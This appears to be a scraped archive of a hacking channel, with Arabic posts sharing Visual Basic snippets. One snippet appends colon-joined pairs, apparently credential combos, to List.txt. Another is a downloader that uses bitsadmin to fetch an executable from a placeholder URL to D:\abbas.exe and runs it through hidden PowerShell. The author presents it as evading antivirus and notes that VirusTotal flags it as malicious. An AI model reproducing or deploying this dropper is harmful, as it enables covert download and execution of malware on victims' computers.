782
订阅者
无数据24 小时
无数据7 天
无数据30 天
帖子存档
بالمناسبه من تريد تستخدم الاكوواد بغير مشروع
راح يطلع هذا الخطاء عندك
ظيف مكتبه
System.Management
وشكراا
Function save()
Dim x$ = strArray(0) + ":" + strArray(1)
Dim currentdirr As String = AppDomain.CurrentDomain.BaseDirectory
If File.Exists(currentdirr + "\List.txt") = True Then
Dim X11 As List(Of String) = New List(Of String)
X11.Add(x)
File.AppendAllLines(currentdirr + "\List.txt", X11)
Else
Dim X11 As List(Of String) = New List(Of String)
X11.Add(x)
File.AppendAllLines(currentdirr + "\List.txt", X11)
End If
End Function
هذا الشرح شوفو اني منزل بجهازي افاست + هواي حمايات وفحصو البرنامج مابي شي بس من تفحص بفايروس توتل يطلع ملغم هه
كود داونلودر قديم من زمن الفراعنه عندي
المهم الكود يحمل ملف من النت
بالغه الفجول بيسك الداولنودر بلغه سكربت هو بس اني مسوي يشتغل بالفجول
وتشغيل الملف بالبور شل متخطي الحمايات للهكريه وكذا
On Error Resume Next
Dim d = CreateObject("WSCript.shell")
d.run("bitsadmin /transfer myFile /download /priority normal " & "رابط هنا" & " " & "D:\abbas.exe", 0, False)
d.run("powershell -windowstyle hidden (D:\abbas.exe)", 0)
